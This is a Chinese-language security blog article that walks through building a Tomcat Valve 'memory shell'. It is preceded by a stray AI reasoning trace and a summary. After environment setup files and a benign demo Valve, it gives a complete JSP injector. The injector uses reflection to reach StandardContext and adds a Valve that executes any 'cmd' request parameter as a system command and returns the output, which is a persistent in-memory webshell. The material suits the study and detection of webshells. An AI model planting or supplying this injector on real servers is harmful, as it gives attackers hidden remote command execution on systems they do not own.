Valve 内存马分析
嗯,用户让我总结一下这篇文章的内容,控制在一百个字以内,而且不需要用“文章内容总结”之类的开头。直接写描述就行。 首先,我需要通读整篇文章,抓住主要点。文章主要讲的是Tomcat中的Valve内存马的实现。作者先介绍了Valve的基本概念,对比了Valve和Filter的区别。然后搭建了一个Tomcat+JSP的环境,配置了pom.xml和web.xml文件。 接着,文章详细分析了Tomcat中Valve的实现机制,包括请求流的源码分析和自定义Valve的实现。最后,展示了如何编写一个Valve内存马,并通过JSP页面注入到运行中的Tomcat中。 所以,总结的时候要涵盖这几个关键点:Tomcat架构、Valve与Filter的区别、内存马注入方法以及实际效果。同时要注意字数限制在100字以内。 可能的表达方式是:“文章探讨了Tomcat中的Valve内存马实现机制,分析了其与Filter的区别,并通过自定义Valve类及JSP页面注入展示了内存马的注入过程及其在请求处理中的应用效果。” 这样既涵盖了主要的内容,又符合字数要求。 </think> 文章探讨了Tomcat中的Valve内存马实现机制,分析了其与Filter的区别,并通过自定义Valve类及JSP页面注入展示了内存马的注入过程及其在请求处理中的应用效果。 2025-12-4 16:53:57 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

环境描述

  • JDK 1.8
  • Tomcat 9.0.10

Valve 基本概念

之前已经研究过: Listener, Filter, Servlet 三种类型的内存马, 现在来看一下 Valve 内存马, 首先一个 Tomcat 架构如下: 在之前注入 Servlet 内存马时, 会创建一个 Wrapper, 然后调用 Tomcat 底层提供的 addServlet 或模拟 addServlet 方法逻辑来实现内存马注入. 但传统的 WEB 开发时涉及的 Valve 较少, 因此需要先了解 Valve 是什么.

基本环境搭建

这里准备搭建一个 Tomcat+JSP 的环境, 本地代码很简单, 首先是 pom.xml:

<?xml version="1.0" encoding="UTF-8"?>  
<projectxmlns="http://maven.apache.org/POM/4.0.0"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">  
<modelVersion>4.0.0</modelVersion>  
  
<groupId>com.heihu577</groupId>  
<artifactId>TomcatValveMemshell</artifactId>  
<version>1.0-SNAPSHOT</version>  
  
<properties>  
<maven.compiler.source>8</maven.compiler.source>  
<maven.compiler.target>8</maven.compiler.target>  
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>  
<tomcat.version>9.0.10</tomcat.version>  
</properties>  
  
<dependencies>  
<dependency>  
<groupId>org.apache.tomcat</groupId>  
<artifactId>tomcat-jasper-el</artifactId>  
<version>${tomcat.version}</version>  
</dependency>  
<dependency>  
<groupId>org.apache.tomcat</groupId>  
<artifactId>tomcat-el-api</artifactId>  
<version>${tomcat.version}</version>  
</dependency>  
<dependency>  
<groupId>org.apache.tomcat</groupId>  
<artifactId>tomcat-catalina</artifactId>  
<version>${tomcat.version}</version>  
</dependency>  
<dependency>  
<groupId>org.apache.tomcat</groupId>  
<artifactId>tomcat-util</artifactId>  
<version>${tomcat.version}</version>  
</dependency>  
<dependency>  
<groupId>javax.servlet.jsp</groupId>  
<artifactId>jsp-api</artifactId>  
<version>2.2</version>  
</dependency>  
<dependency>  
<groupId>javax.servlet.jsp.jstl</groupId>  
<artifactId>jstl-api</artifactId>  
<version>1.2</version>  
</dependency>  
<dependency>  
<groupId>javax.servlet</groupId>  
<artifactId>javax.servlet-api</artifactId>  
<version>4.0.1</version>  
</dependency>  
<dependency>  
<groupId>javax.servlet</groupId>  
<artifactId>servlet-api</artifactId>  
<version>2.5</version>  
</dependency>  
</dependencies>  
  
<build>  
<plugins>  
<!-- 执行 maven compile 时, 会自动将依赖放到 /WEB-INF/lib 目录中, 以免打破双亲委派机制从而导致加载不到类的异常 -->  
<plugin>  
<groupId>org.apache.maven.plugins</groupId>  
<artifactId>maven-dependency-plugin</artifactId>  
<executions>  
<execution>  
<id>install</id>  
<phase>install</phase>  
<goals>  
<goal>sources</goal>  
</goals>  
</execution>  
<execution>  
<id>compile</id>  
<phase>compile</phase>  
<goals>  
<goal>copy-dependencies</goal>  
</goals>  
<configuration>  
<outputDirectory>web/WEB-INF/lib</outputDirectory>  
</configuration>  
</execution>  
</executions>  
</plugin>  
<!-- 执行 maven clean 时, 会自动清除 /WEB-INF/lib 下的所有 jar 包 -->  
<plugin>  
<groupId>org.apache.maven.plugins</groupId>  
<artifactId>maven-clean-plugin</artifactId>  
<executions>  
<execution>  
<id>clean</id>  
<phase>pre-clean</phase>  
<goals>  
<goal>clean</goal>  
</goals>  
<configuration>  
<directory>web/WEB-INF/lib</directory>  
</configuration>  
</execution>  
</executions>  
</plugin>  
</plugins>  
</build>  
</project>  

配置完 pom.xml 之后, 还需要配置一波 Servlet:

package com.heihu577.servlet;  
  
import javax.servlet.ServletException;  
import javax.servlet.http.HttpServlet;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.io.PrintWriter;  
  
publicclassMyServletextendsHttpServlet{  
@Override  
protectedvoiddoGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {  
        PrintWriter writer = resp.getWriter();  
        writer.println("HelloWorld");  
        writer.flush();  
    }  
}  

该 Servlet 用于后面打断点看调用栈使用, 在 /WEB-INF/web.xml 文件中配置该 Servlet 的访问路由:

<?xml version="1.0" encoding="UTF-8"?>  
<web-appxmlns="http://xmlns.jcp.org/xml/ns/javaee"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"  
version="4.0">  
<servlet>  
<servlet-name>MyServlet</servlet-name>  
<servlet-class>com.heihu577.servlet.MyServlet</servlet-class>  
</servlet>  
<servlet-mapping>  
<servlet-name>MyServlet</servlet-name>  
<url-pattern>/myServlet</url-pattern>  
</servlet-mapping>  
</web-app>  

一个基本的 Tomcat+JSP 的环境就配置好了.

Tomcat 中的实现

Valve & Filter 区别

这是一个 Tomcat 中 Valve 的配置思想, Tomcat定义了Pipeline(管道) 和Valve(阀门) 两个接口. 前者用于构造职责链, 后者代表职责链上的每个处理器. 从图中能感受到的是, 当我们一个请求打过来时, 会从 StandardEngineValve 进入到最终的 StandardWrapperValve, 这里有点类似于 Filter 的处理方式. 既然类似于 Filter, 那么 Valve 与 Filter 又有哪些不同?Valve 是 Tomcat 内部的、底层的、容器范围的 拦截机制, 而Filter 是 Servlet 规范的、上层的、WEB应用范围的 拦截机制.

代码层实现

请求流源码分析

在我们没有配置任何 Valve 的情况下, 我们在/myServlet路由所对应的类上打上断点, 来看一下调用栈走向: 而形成这种 流式(一个接一个的状态) 的原因, 我们可以从第一个 StandardEngineValve 源码中进行观察: 第一个比较特殊, 不急我们再看看第 2,3... 个 Valve 中 invoke 方法的定义: 从图中可以发现, 一个 Valve 类似于数据结构的链式结构, 在逐渐通过 getNext 来层层调用, 而由于 StandardHostValve 最终调用 next 的作用域不同所以调用到了AuthenticatorBase中, 但重点的三个 Valve 已经在图中表明.

Valve 在 Tomcat 中的定义

而这些 Valve 都是从哪里进行定义的呢?我们这里首先观察一波 Tomcat 内置的 Valve 的实现链: 比较有标志的是 ValveBase 类以及 Valve 接口, 那么我们如果想要自定义 Valve 是否就可以通过继承 ValveBase 或实现 Valve 接口进行自定义 Valve 了呢?那么假设我们真的实现了一个自己的 Valve, 那这个 Valve 又应该如何在 Tomcat 中进行设计? 实际上在 Tomcat 底层架构中我们可以看到: 实际上这里断点中的第一个 Valve, 来自于 server.xml 中的 Valve 标签的配置(通过名称可以看到是用来记载日志的) , 那么我们的自定义 Valve 在后面追加一个是否即可自定义添加一个 Valve?我们不妨一试.

自定义 Valve 类与效果演示

这里我们一定要继承 ValveBase 类, 如果实现 Valve 接口后续会遇到白页问题:

package com.heihu577.valve;  
  
import org.apache.catalina.Valve;  
import org.apache.catalina.connector.Request;  
import org.apache.catalina.connector.Response;  
import org.apache.catalina.valves.ValveBase;  
  
import javax.servlet.ServletException;  
import java.io.IOException;  
  
// 不要使用 implements Valve, 会遇到白页  
publicclassHeihu577ValveextendsValveBase{  
@Override  
publicvoidinvoke(Request request, Response response)throws IOException, ServletException {  
        System.out.println("Heihu577Valve 进来了...");  
        getNext().invoke(request, response);  
    }  
}  

而由于 Tomcat 的配置在 tomcat 根目录/conf/server.xml文件中, 因此必然遵循 Tomcat 的类查找机制, 所以我们需要部署一个 jar 到 Tomcat 的 lib 目录中, 并且在 server.xml 中进行配置: 随后使用 catalina.sh run 启动 (在 MacOS 中必须使用 catalina.sh 才能看到控制台的日志), 并且访问 HTTP 页面: 这就是一个 Valve 在 Tomcat 中的基本定义.

Valve 内存马编写

那么, 我们如何操控一个正在运行中的 Tomcat 应用程序注入恶意的 Valve 类呢?并且使其加入到每次 HTTP 请求的流程中? 在 Tomcat StandardPipeline 类中, 贴心的提供了 addValve 方法, 并且源码中已经替我们考虑了 Valve 的兼容性, 使得我们很轻松的编写一个 Valve 注入程序出来:

<%@ page import="org.apache.catalina.Valve" %>  
<%@ page import="org.apache.catalina.connector.Request" %>  
<%@ page import="org.apache.catalina.connector.Response" %>  
<%@ page import="java.io.IOException" %>  
<%@ page import="java.io.InputStream" %>  
<%@ page import="java.util.Scanner" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="org.apache.catalina.core.ApplicationContext" %>  
<%@ page import="org.apache.catalina.core.StandardContext" %>  
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<html>  
<head>  
    <title>Title</title>  
</head>  
<body>  
<%!  
publicfinalclassmyvalveimplementsValve{  
private Valve next;  
  
@Override  
public Valve getNext(){  
return next;  
        }  
  
@Override  
publicvoidsetNext(Valve valve){  
            next = valve;  
        }  
  
@Override  
publicvoidbackgroundProcess(){  
  
        }  
  
@Override  
publicvoidinvoke(Request request, Response response)throws IOException, ServletException {  
            HttpServletRequest req = (HttpServletRequest) request;  
            HttpServletResponse resp = (HttpServletResponse) response;  
if (req.getParameter("cmd") != null) {  
                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();  
                Scanner s = new Scanner(in).useDelimiter("\\A");  
                String output = s.hasNext() ? s.next() : "";  
                resp.getWriter().write(output);  
                resp.getWriter().flush();  
                resp.getWriter().close();  
            }  
this.getNext().invoke(request, response);  
        }  
  
@Override  
publicbooleanisAsyncSupported(){  
returnfalse;  
        }  
    }  
%>  
  
<%  
    ServletContext servletContext = request.getSession().getServletContext();  
    Field appctx = servletContext.getClass().getDeclaredField("context");  
    appctx.setAccessible(true);  
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);  
    Field stdctx = applicationContext.getClass().getDeclaredField("context");  
    stdctx.setAccessible(true);  
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);  
    myvalve myvalve = new myvalve();  
    standardContext.getPipeline().addValve(myvalve);  
    out.print("Valve Memshell Inject Success !");  
%>  
</body>  
</html>  

当访问成功后, 则注入 valve 成功, 并且由于 Valve 脱离了 WEB 应用, 内存马兼容性比较好一些: 如果此时打上断点, 观察调用栈即可发现我们的内存马注入的位置:

Ending...


文章来源: https://www.freebuf.com/articles/web/460679.html
如有侵权请联系:admin#unsafe.sh